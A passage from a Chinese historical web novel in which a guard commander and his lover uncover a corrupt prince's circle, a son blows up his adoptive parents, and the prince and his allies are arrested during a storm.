还未等她继续往下说,她扑通直跳的心房覆上他的手,轻柔/搅/弄/着她心里的悸动,他的嗓音也轻轻的,隐含委屈,“不老实,还不许我当着你的面说,我被你接连踹了几脚,险些滚下床,写在手札上,我自己一个人瞧,为何不行?” 钱映仪细细的嗓音低哼两声,吐息渐重,才刚她还觉得稍显寒冷,到此刻仿佛时间逆转,令她霎时回到了潮热的夏日。 汗水浸透了她的裙边,带着点稠湿,她便在这股似火烧的感觉里寻求一丝凉,“阿铮阿铮” 每每听她唤他阿铮时,秦离铮心里疯涨的爱意便如杂乱无章的杂草,会冒得再高点儿,再多点儿。他闷声靠近她,吻落在她的耳后,沉沉应声,“我在。” 钱映仪扑闪着稍有湿润的眼,倏然呼吸一窒,她在心中渴求的凉意堵住了她的燥热,依旧轻柔地、带着坏心眼儿地打着转,把她的所有感受凝聚在上面颠挑。 她的嗓音益发不着调,腰身弯折贴近书案,猛然往前一扑,紧随其后的便是那枚由她笨拙跟着铁匠学的银戒。 戒身仿佛长在了她的身上,在她背后立着,他一靠近,它便一点点滚过她的背脊。 而另一头牢牢牵着他,他耐心起来依旧像个勤学的学生,一面温柔安抚她,低哄,“很棒好映仪” 一面又使戒指与她严丝合缝,令她一次又一次地领教他的温柔与爱意下的刻骨铭心。 从清醒到昏沉,钱映仪反复在一抹凉意与一片热浪里打转,她依稀还记得今日是什么日子,惊惶打颤着要支起身子,“你还没过完生辰” 浪潮渐退,秦离铮却不大满意。 把她翻身转过来,自己干脆坐在椅上,复又带着一股只在此刻才有的微妙悍意,拉着她跌进自己怀里。 让她趴在肩头渐歇,旋即拉过她的手,在他身躯里掀翻一阵新的海浪,“生辰不重要,重要的是你在。” 月色孤照,两颗心却紧紧贴在一起,丝毫不觉孤独。 在这月影四照的夜里,他们把彼此握在手里,好似掬着一捧始终流不尽的温泉,渐渐与月色融合,只剩漫长的依偎与迷恋包裹着。 次日一早,秦离铮悄送钱映仪回钱宅,踅回来时,意外在门前撞上梁途。 秦离铮摁下稍有些激动的心,问,“先生这是?” 自梁溪照回到自己身边已有多日,梁途时常在深夜沉思,究竟该不该帮秦离铮?今番总算想通,如钱映仪所料,主动来寻了秦离铮。 梁途依旧是那副神情,俯身朝秦离铮打一拱手,“希望你真能扳倒瑞王。” 只一句,秦离铮便知他已点头,干脆朝他伸出手,与之紧握,嗓音很沉,“会的,届时您也能带着溪溪活在阳光下。” 梁途点点头,眼里也隐有些激动的光,他免不得也跟着想,或许在不久的将来,他真的能重见光明,推翻一切黑暗。 甫进九月,便是风清露冷的时节。金秋时分桂花乱,梧桐叶落,行人的袍子稍稍厚了点,不比夏日轻薄。 可仍旧有那等打着赤膊的农户在田野里来回穿梭,流下的汗水成了滋养粮食的雨,使得一应农作在这时候疯长,只待一把锋利的镰刀割开自己,好以自己回报这一场雨。 有人汗涔涔维持生计,便有人持着矜贵大排筵席,因何事呢?原来九月初五这一日,是那郭月的生辰。 因频频受邀入王府玩耍的缘故,郭月窃喜自己嫁给俞敏森是无需再揣测的事实,又因父亲升官,她从前那点融进骨子里的畏缩彻底推翻不见。 大排筵席,曲水流觞,为的便是在整个金陵城的门户里打出她郭月的名头。 一应请帖送出,除了晏家同钱家,其他一些门户里的太太倒是接下了。 只因她们背后的官人闻听郭家与瑞王府走得近,暗自便忖度起来,都道: “瑞王虽为藩王,可手持丹书铁券,无论如何,这辈子吃喝不愁,咱们在金陵讨生活,时常在外头走动,还是莫要驳了这个面子,日后见了面也好说话嘛。” 于是郭月生辰这日,连范太太也带着范宝珠前往郭家。 郭月今番是翻身把歌唱,穿着繁琐的衣裙,裙摆如蝶,一日下来,与范宝珠也说了不少话。 筵席渐散,正值落日鎏金时,郭月瞥见范宝珠将要离去,想及自己要嫁俞敏森,她却只能嫁进早已失势的燕家,少不得在嘴上痛快两句,“我记着,后日便是宝珠姐姐定亲的日子,是不是?” 范宝珠自然听出她语气里的高傲,只是不同她计较,只沉浸在将要定亲的喜悦里,“是呢,届时你来观礼吗?” “观礼就不去,我与世子约好了后日一齐包艘画舫游河呢。” 范宝珠笑,不在意挥一挥手,“那祝你高兴,我先走啦。” 同范太太一起坐马车转回范宅,范太太先进宅子里了,范宝珠方踩上一截石磴,身侧倏然传来一声轻唤,“宝珠。” 她以为自己出现幻听,眼里蕴着惊喜,愣神看着隐在角门后的燕如衡。暮色躺在他坠落的肩头,像悬着一片无止尽的火,把他稍显疲惫的神态照得一清二楚。 因范太太娘家较为讲究,范太太便提议两人在定亲前最好不要相见,是以范宝珠与燕如衡已有五六日不曾见面。 范宝珠很高兴,带着笑意支开丫鬟,避开家里的守门小厮,蹑脚往燕如衡那头去,离得近了,便问,“你怎么来了呀?” 燕如衡唇畔牵出一缕笑,“心中有些记挂,来看看你。” “今日玩得开心吗?”他问。 范宝珠闷头想了想,如实答道:“嗯其实没那么开心,我不想去的,我娘非得带上我,你又不在我身边,郭月今日打扮得漂亮,但我一点儿也不羡慕,临走时,她还借机讽我,我听明白了,只是不想同她计较。” 正要抬脸瞧燕如衡时,他忽地递来一个四四方方的锦盒,笑道:“待明日再打开,里面有我的心意。” 范宝珠的神情稍显意外,过后是浓重的笑意,挥也挥不开,她把锦盒抱在怀里,四下窥瞧一眼,见没人,便往他的唇上亲了下,“你先走吧,后日一早就能见到我了。” 燕如衡把下颌轻点,眼里浮着点微弱的光,转背离去。 没走两步,他回身凝望范宝珠一眼,见她仍站在原地目送自己,神色有片刻的动容,蓦然快步走近,一把将她拉进怀中紧紧抱着。 “三郎?” 燕如衡下颌蹭了蹭她的肩颈,嗓音里喧出一缕叹息,“不开心的事就不要去想,日后要天天开心,明白了吗?” 范宝珠愣神跟着点头,“晓得了” 俄延半晌,燕如衡堆积在心 头的情绪散去,松开了她,指尖抚过她的腮畔,没再说什么,还是旋身离去了。 燕如衡一径穿过秦淮河岸,半晌踅进燕家的巷口,却穿过燕家的朱漆大门,停在了隔壁一户人家门前。 这户住的是个商人,姓冯,做的是陶瓷生意,家产颇为丰厚,可与燕家向来是不大对付,只因燕榆瞧不起商户,时常嫌弃隔壁住着冯家。 赶巧冯家门前走出个身影,正是那冯太太,这时候天已渐黑,眼见宅子外头闷声不吭站了个人,给她唬一跳。 提着灯笼走上前一照,才稍松口气,“三郎,是你啊,你怎的不回家,在这儿站着是做哪样呢?” 对燕如衡,冯太太的态度倒是十分和煦,毕竟燕如衡也算冯太太看着长大的。 燕如衡静静看她片刻,道:“冯婶,说起来,这么多年过去,三郎没送过什么礼给您。” 冯太太有些莫名,会错了意,不在意把手挥一挥,“嗐,你有心了,你爹那人眼睛长在天上,这么多年过去,我们家早已不与他计较,你是想替你爹向我们赔礼吗?不必啊,好孩子,夜深了,外头寒气重,先回家去吧。” 燕如衡静站半日没搭腔,见冯太太手持灯笼,便又问,“冯婶往哪里去?” “哦,你冯叔讲想吃河边食肆里的糟鹅,他前几日摔了腿,不方便,我便领着两个人去买哩。” 话音甫落,她从燕如衡身前穿过,一径往巷口行去,谁知未走两步又被他唤停,“冯婶还没见过我的未婚妻,是不是?” “有时间的话,您也见见她。” 冯太太笑着摆摆手,“晓得了,还没恭喜你呢,一恍你也长这么大了,回家去吧。” 冯太太说完这话,便领着两个婆子往河畔赶。 正巧秦淮河岸繁丽绚目,秦离铮正同钱映仪在乐馆的暗室里对坐下棋,褚之言便在一旁静观半日,笑叹,“钱小姐棋艺不错。” 钱映仪笑,“跟爷爷学的。” 吃掉秦离铮一子,她瞥着身侧稍显平静的河面,问,“后日范宝珠就与燕如衡定亲了,意味着范大人会在次日动手,你们是打算直接捉人?打他们个措手不及?” 褚之言点点头,“我们暴露身份这么久,一直未有动作,便是等着这一日,先叫他们慌神起来猜来猜去,猜不准又惶恐几日,再迟迟等不到我们动手,便总有放松警惕的时候。” “蔺边鸿这些时日只照常往府署上值,下了值就待在家里,显然吓得不轻,也最谨慎。” “燕榆却与他不同,”褚之言低声把燕榆的隐秘告知与钱映仪,向她眨眨眼,“人性嘛,就是这样,缺少什么,就总会用其他的来弥补,一时撤了他的官,他又同蔺边鸿闹翻,他再做起事来便有些不管不顾,我们早已猜准,他只是为了拉范大人下手,届时好自己一逃了之。” 钱映仪倒是头一回听说燕榆的隐秘之事,更叫她为之震惊的是燕如衡,“他竟不是燕榆亲生的?” 不待她再与二人说几句话,门外渐响叩门声,负责盯着燕家的锦衣卫肃着神色进来,回禀道:“指挥,副指挥,那燕如衡今日很是不对劲。” 秦离铮一顿,与褚之言互相交换眼神,遂问,“他有何动作?” 那锦衣卫道:“前几日闷在屋子里不出来,只往燕家的厨房里去了几趟,今日好容易出门,先去了范家,后又回家,却不进门,同隔壁那户姓冯的太太说了几句话,怎么看怎么奇怪。” 锦衣卫走近两步,正欲把燕如衡的一应表现细细回禀,谁知陡然生变—— 乐馆外倏起一阵喧闹,夹杂着几声闷响,隐在管弦急风里,紧接着有人尖喊,“烟!好浓的烟!” 秦离铮猛然回过神来,脸色一变,登时起身往外赶,丢下一句,“替我看着映仪!” 钱映仪骇目圆睁,忙问褚之言,“燕如衡今日不对劲,是不是燕家出事了?!” 旋即也提裙跟着往外跑,“我跟着过去!褚之言,你也去!快!” 能叫几人闻听色变的自然不是小事。只在半个时辰前,燕如衡目送冯太太的身影消失在巷口后,便静默着不说话,进了燕宅。 一路行至小花厅,见燕榆与王采苓正用着饭,便道:“爹,娘,我有话同你们说,请随我来一趟。” 燕如衡这几日“老实本分”,燕榆很是满意,遂放下箸儿,好奇他有什么话要跟自己说,与王采苓两个一起跟了上去。 辗转到了燕如衡的寝屋,由燕如衡引进门,坐在圆桌旁,他才拧起眉,“好端端地,叫我们来你房里做什么?” 燕如衡静静行至案前,缓缓研墨,半晌写下一个“烆”字,旋即举给燕榆瞧,“听我爹说,我刚生下来,被抱来你膝下时,是打算给我取这个烆字的,是不是?” 燕榆以为他又要提起陈年旧事,不以为意道:“不就是一个字,有何可在意的?” 王采苓撇撇唇,“原先我还不想你用同音的名字呢。” 燕如衡举着那张纸笑,把下颌轻点,“你说你不想,那为何抱我过来?难道不是为了燕榆的一己私欲,和弥补你失去亲生孩儿的痛苦?” “打小我就觉得你们对我不如对姐姐亲近,我那时只以为因我是个男孩子,你们对我苛责了些,”燕如衡道:“所以直到从府学出来,考中进士,我都想着为家里添光,替你们在脸上添光。” “我爹醉酒吐露真相时,我一时不能接受,知道我不能接受什么吗?” 燕如衡眼里依旧灰蒙蒙的,“我不能接受我唤了二十年的爹娘不是爹娘,不能接受自己看似什么都有,实际根本一无所有的事实。” “我想脱离你们,可我脱离不了,”他的声音很轻,“说我窝囊也好,废物也罢,我就像棵树,即便斩断了上半截,根依旧在这里,往前二十年的亲情在我心里,都是真的。” “所以燕榆,从前我不知道真相时,帮着你贪,是因我是你儿子,父子与共,今番我知道真相,仍帮着你贪,也是因我曾做过你二十年的儿子,真情实意唤了你这么多年的爹。” 燕如衡复又望向王采苓,“我也真情实意换了你这么多年的娘。” 渐渐地,他垂着视线,凝视着纸上那个“烆”字,挤出一抹闷苦的笑,“可是我本也有自己的人生,倘或我不曾来你们家,代替那个死去的二哥哥成为你们的儿子,我不用如此的。” “烆,烆光暖,我生下来,应当是团火。” 说着说着,他又牵出无能为力的叹息,“知道吗?姐姐失踪这么久,我一直都很羡慕她,她是死是活都好,总归是自由的自由的” 燕如衡搁下那张纸在燕榆身前,转去门后,落了锁。钥匙藏进了自己袖管子里。 旋即蹲下身子,一点点抠挖着一块稍显松动的地砖,“燕榆,那日我说你没有心,我这几日想了想,我好歹做了你二十几年的儿子,大抵也是有些像你的。” 半晌,在燕榆稍有惊愕的目光下,他沾着点血迹的指腹撬开地砖,铺天盖地的味道一霎席卷过整间屋子。 燕榆重重一嗅,目色振荡,整个人下意识拔座而起,“你屋子里有什么?” 燕如衡又站起身,往怀里摸出火折子,站在原地没动,静静看着他,眼眶里像有个黑漆漆的洞,要把燕榆的魂魄吸进去,“不记得了?年幼时,因我读书用功,你们替我请的都是文采斐然的教书先生,八岁时,先生教学时说起这世间万物,我听着有趣,待课业结束便把他提过的硝石与硫磺混在一起玩,遭你一通斥责,还挨了顿打。” 他的嗓音里渐渐开始含笑,“后来进了府学,府学里的教谕也曾提起《天工开物卷》,我那时觉得八岁那年的记忆尤为有趣,便留神了教谕说的话,这几日我闲来无事,便都想起来了。” 旋即他把点燃的火折子往下一扔,整个人站在火折子边上,点点星火渐渐点燃他的袍角,慢慢地, 一窜火苗“噌”地往上冒,他笑得有几分癫狂,却浑然不觉痛,在王采苓的尖叫声里,笑出两行泪,把二人吓得呆立在原地,“别想着逃,屋子里被我埋了火药。” 他静静感受着衣袍被火烧得益发滚烫灼热,静等燕榆露出临死前的悔恨,哪怕只有一点点,可没等到,他便轻声道: “你想拖着别人下水当你的替死鬼,我偏不如你所愿。” 燕如衡的声音益发模糊,“届时事发,不过也是一死,既迟早要死,我就先带你们一起死,宝珠是个好姑娘,范大人一家也是好的,他们不该同咱们一起死。” “燕榆,不是说老天爷不会让你死吗?” “老天爷做不到,便由我来做。” 旋即火苗烧得益发兴奋,燕如衡的神情愈发决然,王采苓同燕榆骇到心神俱颤,绕去他身后去拍门呼救,在嘶喊里,火光一冲—— “轰”地一声,整间屋子瞬间碎石滚地,一声接一声地巨响,像冬日里炸开在半空的炮竹。 至此燕如衡翻涌的一生得到解脱,燕榆同王采苓一并下了阴司,凭他们生前有多矜贵,死时也不过尸骨无存。 正与邪,善与恶,往往只在一念之间。 秦离铮一行人匆匆赶至燕宅时,整座宅子上方盘着浓墨似的黑烟,火势已蔓延至隔壁的冯宅,丫鬟小厮们尖叫着往外逃窜,止不住地喊着:“少爷带着老爷太太一起炸死了!” 旋即是闻声凑过来的人群在高声指点,钱映仪望着浓烟,忍不住跌退两步,轻掣秦离铮的袖摆,神情爬满不可置信,“他就这么死了?” 秦离铮紧拧着眉没有讲话。 没几时,五城兵马司的人与府兵也已赶到。 新任的那位府尹魏明神色惊骇,一见秦离铮便忙问,“燕榆也死了?” 燕榆已死,一条性命牵动金陵大乱,等不到那位范大人有什么动作了,秦离铮立刻抓紧机会,向手下命道:“立即带人封锁所有城门,蔺家、王家等一个不放过,动手!” 锦衣卫们忙不迭地出动。 秦离铮挡着钱映仪的视线,不叫她亲眼看见这些,旋即与魏明打一拱手,“还请魏大人在此处守着,我尚有一事要办。” 下一刻,便拉着钱映仪往外赶,“我立刻送你归家!” 燕如衡此举引得钱映仪尚且还没回过神,她在充满烧焦味的空气里由他拉着,在滔天的火势下被逼出一滴泪。 匆匆钻进马车里,钱映仪忙不迭攫紧他追问,“你要去办什么事?” 秦离铮脸色很沉,安抚性摸一摸她的脸,瞳孔里泛着一丝躁意,“燕榆突然没了命,那几个不可能坐得住,最狡猾的当属俞成鹤。” “金陵一朝大乱,我不可能让他趁乱逃了。”—— 作者有话说:燕如衡是必死的结局——《 》 50-57 第51章 一切都来得如此慌忙,譬如冷风里的这场雨,鸣雷汹涌,雨势如飞瀑。“轰”地一声,唰唰落向燕宅,俄延半日浇息了火,化作浓臭的烟,一丝丝飘向整座金陵城。 雨势大得骇人,瑞王府不如从前幽静,乱糟糟的脚步来来回回踏着,没几时,瑞王心腹冲至廊下,沉声道:“王爷,属下可以确定,燕榆与燕如衡死得尸骨无存了。” 俞成鹤脸色霎时一变,往前几步,踩下石磴,一双干净的皂靴踏出水珠,脏了袍角。 到底做了这么多年的王爷,又出身天家,只慌神片刻,俞成鹤复又站回去,两条胳膊反握在背后,把眼望向四周瓢泼落下的暴雨。 黑漆漆的天像撕开了条口子,一瞬间,他好似变成了赌局上的豪赌者,看见了泼洒下来的机会。 仔仔细细想了想,他问,“世子呢?” 心腹答道:“世子还在郭家陪着郭小姐。” 俞成鹤点点头,当即命道:“就是现在,燕家大乱,打得所有人措手不及,你立刻带上一干人等,掩护本王与王妃走朝阳门出城!” “再分出一波人去郭家寻世子,顺势与郭淇接头,令他带着世子走北安门!”话音甫落,俞成鹤眼里满是厉色,挥袖转身,低吼道:“快!” 满城风急雨暴,人人皆是长目飞耳,燕家祸事只消半个时辰便传遍了整个金陵,便连淮河两岸笙歌都已暂且停歇,所有人心头悚然,上至门户,把门掩得死死的,下至百姓,也只敢躲在门缝里瞧。 马蹄好似要震碎长街,府兵与锦衣卫一齐出动,围了蔺家、王家、范家一干门户。 旋即锦衣卫一声令下,朱漆大门破开,丫鬟小厮胡乱逃窜,尖叫声淹灭在声声暴雷里。 朝阳门下,一行商队身披蓑衣,赶着两车缎子珍宝,为首一人见城门紧闭,四周如往常那般,便往前几步,朝守城那道身影打一拱手,三言两语泄出早已拟定的暗号,“还请官爷通融,小的们讨生计不易,这批货要送往扬州,晚一刻都耽误不得!” 下一刻,便作势掀开那两车覆盖的油布。 商队里两道身影低低垂着脑袋,即便是由蓑帽边缘的雨水淋湿了袍子,也不抬手去擦一擦。 半晌,城楼上那道身影嗤笑一声,问,“扬州?王爷怎么不逃得远一点?” 霎时,杂乱中透着沉稳的脚步声从四面八方席卷而来,一班商人便叫一行身穿飞鱼服的锦衣卫们给围住了。 秦离铮慢悠悠往前,抱臂往城楼下俯身,让自己的脸透过暴雨映进俞成鹤惊骇的瞳眸里。四目相对,秦离铮眼里渐渐凝聚了一点冰,“拿下。” 先前说话那人正是俞成鹤手下暗卫首领,忙一拔藏在腰间的剑,高喊,“保护王爷!” 刀剑相聚,剑不断被折,暗卫们接二连三倒地,眼见落于下风,那暗卫首领暗咬牙关,忙护着俞成鹤与王妃逃窜,“王爷!留得青山在,不怕没柴烧,今日这陷阱分明专等着您跳!” 秦离铮静等漫长光阴,又怎可能给他们逃窜的机会呢?他冷笑一声,一个翻身攀墙而跃,身影极快在雨中滚地一圈,拔出腰间绣春刀,一刀砍断首领半截胳膊。 只消片刻的功夫,便已翻身拦在俞成鹤夫妇面前。 刀尖残血滴落在地,很快被雨势冲刷干净,秦离铮静静望向俞成鹤,唇畔牵出若有似无的笑,“燕家正逢巨变,是我下的令封锁城门,王爷的消息未免不太灵通,我想问王爷一句,好端端地,王爷往城外去做什么?” 俞成鹤目色里透着骇然,四面睃寻一眼,见手下的暗卫们皆已被擒,心中恐慌渐起,面上却仍维持镇定,“你好大的胆子!敢对本王动手,本王倒不知犯了何事,要你刻意等候在此围剿本王!” 秦离铮把下颌轻点,也不戳穿他,只笑道:“犯了什么事,王爷心中有数,燕榆父子死得突然,我也正奇怪,怎么突然就死了呢?所以联合魏大人一番合计,还是封锁城门,不叫任何人出城的好。” 旋即他话锋一转,扬声命道:“瑞王此番出城形迹可疑,把瑞王夫妇拿下!” 秦离铮不提过往,不提贪墨,只以“可疑”二字便在这关口拿了俞成鹤,可偏巧就是这样,俞成鹤心中愈发没底,一路叫嚣喊着:“你吃了熊心豹子胆吗!本王乃天潢贵胄,手持太祖皇帝亲赐的丹书铁券!你怎敢擒拿本王!” 只可惜,话音渐隐,秦离铮连头都没回,任凭雨水淋湿浑身上下,站在原地久久缄默着。 握着绣春刀的指骨攥得极其用力,骨头好似要从皮肉里钻出来。秦离铮本想以俞成鹤当年谋反为实的罪名拿下他,真到了这一刻,秦离铮复又改了主意——梁途还不是时候出现。 秦离铮把眼望向俞成鹤夫妇离去的方向,风雨凌乱,吹得一片屋檐上的碎瓦“啪”地一声砸落在地。 他一如当年偷跑来金陵暗中窥视这对夫妇的模样,带着浓烈的恨,要兑现当年立下的誓言,把他们加注在秦家的伤痛,一笔,一笔,千倍万倍地讨要回来。 褚之言在一旁静观,知他心结难解,还未到最痛快的时候,便把蓑衣盖在他身上,默然没讲话。 俄延半晌,秦离铮收回目光,淡问,“北安门那边派人过去了?” 褚之言点点头,“俞敏森跑不了。” 俞敏森这厢听及爹要自己跟着郭淇走北安门逃命也是悚然,到底打小就被瑞王夫妇呵护得极好,神情有些惶然,有些无措。 郭淇心思倒转得快,当机立断起身护送俞敏森前往北安门,一路顶着暴雨行至城门下,却见原本该守城的府兵都在城楼上,门掩得紧紧的。 郭淇只得快速踩着石阶上了城楼,同手下的 府兵下令开城门,留瑞王府来报信的几人在城楼下防守着。 郭月陡然得知瑞王要带俞敏森出城,一副算计心肠百转千回,干脆掣着俞敏森一并上了城墙,把他带上隐秘角落,追问,“王爷要带你去哪里?为何又要我爹掩护你们?这一走,你几时回来?” 俞敏森脑子一团乱,却还晓得温声哄一哄她,“暂且不知,但总不至于一走了之,燕家不是出了事?大约是我爹推测金陵要乱,不想参与纷争。” 郭月却不信这一套,其实这时候她已隐有些退缩之意,可瑞王府给自己带来体面的那股滋味实在太过上瘾,她攫紧他的袖摆,忖度片刻,便道:“世子,金陵要乱,你这时候出城的话,我不知要等你多久,你务必给我个准话,无论发生什么,倘或日后你袭了王位,王妃的位置一定是我的。” 俞敏森稍稍一怔,不想在这种要紧关头她还想着名利,心里头难免不大舒服,眼见情况紧急,隐听马蹄声渐起,语气便重了点,“月月!你这是说的什么话?” 偏巧他没应下郭月的要求,没说出那句准话,正是这关口,锦衣卫的身影乍然出现在郭月的视线里。 俞敏森自然也发觉了,心中发急,忙挣开郭月攫袖的手,望向郭淇,低声急喊:“伯父,锦衣卫来了!” 虽有点发蒙,可好端端地,又是要逃,又是锦衣卫,俞敏森没来由地认定这些锦衣卫定然是来追他的!果不其然,下一刻,那些锦衣卫离得愈发近,冲郭淇喊,“上头有令,今日不可放任何人出城!” 底下几个王府暗卫忙拔剑相迎,俞敏森浑身一个哆嗦,下意识扭身往外逃! 不防郭月倏然拦腰抱紧他,在一个暴雷炸响后,急声道:“我只要你一句准话!只要王妃的位置日后是我坐,我爹立刻开城门放你走!” 俞敏森亦是急得绷着指骨去拉她的手,此刻哪是立下海誓山盟的时候?他道:“月月!你快松开!” 接连两回没得到准话,郭月渐渐敛了神情,脸斜斜贴在他的背上,垂眸盯着将要行至城门的锦衣卫,当即在心中权衡起利弊。 是啊出动这样多的锦衣卫来抓捕俞敏森,指不定瑞王犯下什么事,她先前怎地没反应过来?倘或犯了事,定然是什么大事,否则,瑞王手持丹书铁券,谁敢拿他? 郭月遮蔽蕴在眼底的算计,复又仔细想了想,她爹如今已官至六品,日后也不是没再往上爬的可能,若瑞王府出事 那俞敏森不再是她最好的选择。 她的脸蹭过俞敏森的背,蹭出一条泪水的痕迹,见俞敏森攀至城墙边焦急往下望,便猛然一扑,“世子,我舍不得你!” 旋即俞敏森一个不慎翻落城墙,大骇之下竭尽全力攀着墙石,在他颤动的瞳眸里,郭月亦是神色惊变,慌张要来抓他,却因手太滑,稍有那么不注意,便拨开了他的指尖。 俞敏森的身体急速往下坠,袍子往上飘荡,风雨却要把他穿透,带着蚀骨的痛凿穿他的身躯,他短暂在半空漂浮着,望向郭月的目光满是不可置信—— 。 待雨势渐小,秦离铮同魏明在诏狱碰了面。因骤风急雨的缘故,诏狱里透着一股黑漆漆的冷,像要钻进人的袍子里,割开肌肤。 魏明仍穿着补服,怀里抱着顶乌纱帽,稍显疲累地坐在诏狱大堂,嗓音里叹出一丝意味不明,“常说江南急雨,我此番是见识到了,变起天来着实骇人。” 他抬脸望向站在身前的秦离铮,看秦离铮连袍角还滴着水,好似外头下着雨,秦离铮身下的这一方世界也在翻滚汹涌。 魏明久在京师,从前同秦青山打过交道,方才进来时他已知晓瑞王被关押的消息,心中思忖片刻,便已有些明白过来。 见秦离铮不大讲话,便有心岔开话,谈起今日这桩正事,“秦指挥,得亏有这一场雨,灭了燕家的火势,只是,宅子里并没有搜捡出什么残肢断臂。” 秦离铮缓撩眼皮望向魏明,把湿润的下颌轻点,“如此大的动静,自然是尸骨无存的。” 诏狱岑寂,“尸骨无存”这四个字如一把利刃狠狠往范宝珠的心里戳,她同父母一起被关押在还算干净暖和的狱房里,先是细细啜泣,慢慢地,哭声益发地大,转变成了嚎啕大哭。 “不可能不可能”她泪涔涔的眼无措望向范太太,一把上前攫紧范太太的手,不停摇头,“三郎傍晚时还来见了我,还同我说了话,赠了东西与我,他怎么突然就没了?” 她满面爬着泪,哭得上气不接下气,“他怎么能死?” 不防秦离铮听见这动静,心念一转,半晌行至她身前。 本欲逼问,想及那日在静海寺,钱映仪曾劝燕如衡珍惜眼前人,他听出了她对眼前这姑娘的怜惜,再开口时,嗓音便缓了缓,“你说燕如衡赠了什么与你?” 范宝珠哭得喘不上气,一时未曾答话。 范大人穿着件普普通通的青灰色袍子,呆愣盘腿坐在草堆里,燕家出事,却把范家下了狱,其中是因何缘故,范大人心中明白,自知早已背弃过往几十年的清廉,自觉惭愧,只叹息一声,对着京师的方向高高拱手,“皇上要杀要剐,臣绝无反抗之心。” 旋即灰暗的眼转了回来,盯着秦离铮道:“只是小女无辜,毫不知情,可否放过她?” 范太太却没他这般泄力,一面抱着啜泣不已的范宝珠,一面也忍不住跟着流下两行泪,哭道:“指挥,范家虽一朝犯错,却到底不曾犯下恶事,若能留下阖家性命,罪妇愿一切都坦白从宽!” 一气说完,她才又道:“燕三郎赠与宝珠的是个锦盒。” 秦离铮点点头,转眼望向范大人,没正面答他的话,只道:“是非对错,你范家是什么结局,你的女儿能不能被宽宥,我说了不算,皇上说了才算。” 旋即转背离去,一径行过几间狱房,不防蔺边鸿的肥手猛然从缝隙里窜出,带着惊惶嚷着,“你凭什么抓我!无凭无证!你凭什么抓我!” 正巧这一面关押的尽是蔺家同王家的人,还有燕家一些未来得及逃走的家仆。 诏狱冷冰冰的黑墙上烧着沸腾的火,好似燕宅那未烧尽的火苗,秦离铮静静环视这一班人,扯出一抹冷冰冰的笑,“证据?” “也是,”秦离铮点点头,“捉贼拿脏,向来是需要证据的。” 他缓步行至蔺边鸿身前,隔着一道栅栏盯着蔺边鸿,“先前险些被你们灭口的那些个地主,温宅里挖出来的十几万两白银,温涧舟的口供,还有裴骥手中的账册” “这些,够不够抓你蔺大人?” 一片死寂里,王弋在一旁瞪大了眼,“账册?什么账册?” 秦离铮回身笑望王弋,“王大使还不知道吗?你的那位远房表亲,裴官人,早在去年便有了同你分割开的心思,怪只能怪你酒量不好,一时醉酒把这些腌臜事都告诉了他。” 王弋骇然,回过神来一时怒骂不已,骂过了,又是一股深深的惶然。 蔺边鸿这厢仍在嘴硬,意图把罪责都推去已尸骨无存的燕榆身上,“什么地主!你说先前在江宁被状告的那几个 ?那不是余巡抚已经断过的案子?彼时燕如衡还在一旁陪审,温涧舟因何又有十几万两白银?不都与燕家有关?桩桩件件,哪一个有我蔺家人参与!” “谁说没有?”秦离铮瞥着蔺边鸿,话却是对手下说的,“把人带来。” 潮湿阴冷的诏狱里,没几时旋进一道身影,跟在锦衣卫身后,低垂着脑袋。 蔺边鸿险些以为自己迷障了眼,肥手把眼搓揉片刻,登时骇目圆睁,“燕文瑛!” 他身后的荀芸一听起这名字,忙不迭地就从草堆里爬起来,黑漆漆的眼珠子死死盯着燕文瑛,半晌尖锐的嗓音里透着凄厉,“贱人!贱人!你还我完整的儿子!” 而蔺玉湖缩在角落里,木讷抬脸望向燕文瑛,起先有片刻的怔然,半晌竟如失了心智的孩童一般死命往墙根底下缩,半张脸隐在黑暗里,嘴唇不停翕合,舌头露出半截时,鲜红刺眼,“你别过来,你别过来,阴司老爷!你别收我,我晓得什么是报应了,我晓得了!哈哈,你别过来!” 秦离铮漠然看着他发疯,目光落向蔺边鸿,“时至今日,她未露过面,燕蔺两家的姻亲关系仍在府署的档案里存着,身为你的儿媳,她也可算作你蔺家的人,她的证词,可够我抓你?” 蔺边鸿微张着嘴,恨眼把燕文瑛紧紧盯着,却再也说不出什么狡辩的话来了。 秦离铮冷扫他陡然变色的脸,嗤笑一声,行过燕文瑛身侧时,道:“放你过了几个月的自由日子,你也该满足了,燕家只剩你一个,待你的供词呈到皇上面前,是死是活,全凭皇上如何处置燕家。” 燕文瑛虽不如从前那般美艳,也穿着件普普通通的靛青色比甲,眼里却没有悔恨,只是一味地盯着蔺家人,旋即绽开个极其痛快的笑,自顾跟着锦衣卫进了狱房里。 她就坐在蔺玉湖的对面,静静把他瞧着,真真宛如阴司老爷一般。至于什么供词,什么燕家只剩她一个人,她不在意了。 她的魂魄早已自由。 一径行出诏狱时,锦衣卫来禀报,“指挥,一个不留神,让裴骥动作赶在前面,使他逃了。” 秦离铮把眉紧蹙,眼眸里仍透着冷,“派几个人一路沿着淮安府的方向去搜。” “命人去范宅搜捡一趟,范宝珠曾收了燕如衡赠与她的盒子,拿到盒子后便来见我。” “瑞王那头,凭他如何喊,不必管,我自有安排。” 锦衣卫应声退下。 雨势渐小,先前自燕宅传开的那股浓重怪味已然不见。 秦离铮掀眼望向黑漆漆的天空,想着钱映仪今日被吓得不轻,复又垂眼轻扫一身狼藉的自己,念她一惯爱干净,不由地笑了笑,不再停留,登时拔脚离去,只道换身衣裳,干干净净地去找她。 这厢钱映仪正仰脸发怔瞧着檐下滴落的雨,喃喃道:“雨小了” “燕宅的火势灭了,”钱林野稍显低沉的嗓音自她身后传来,“你别太往外站,染了风寒怎么办?” 小花厅里坐着钱家众人,许珺握着杯盏轻呷热茶,语气悚然,还带着后怕的余韵,“这燕三郎怎会想着要炸死一双父母?” “他不是燕榆亲生的,”钱映仪回身往钱玉幸身旁伏腰坐下,歪脸贴紧钱玉幸的膝头,“我今日才从阿铮他们嘴里听见,燕榆身患隐疾,原先那位亲儿子早已死了,他是燕榆胞弟所生。” 众人有短暂的讶然,钱玉幸轻转眼珠,猜测道:“你先前与我们说,他并不是个只知办恶事的人,难不成,他是铁了心要带着燕榆一起下阴司地狱?” 绕来绕去,一双假父母,一个或许有真情实意的儿子,早已碎得连片衣角都寻不见,如今再计较燕如衡的目的,已然没什么用。 钱映仪没有再搭腔,只拢着钱玉幸不撒手,暗道变起天来当真可怖。 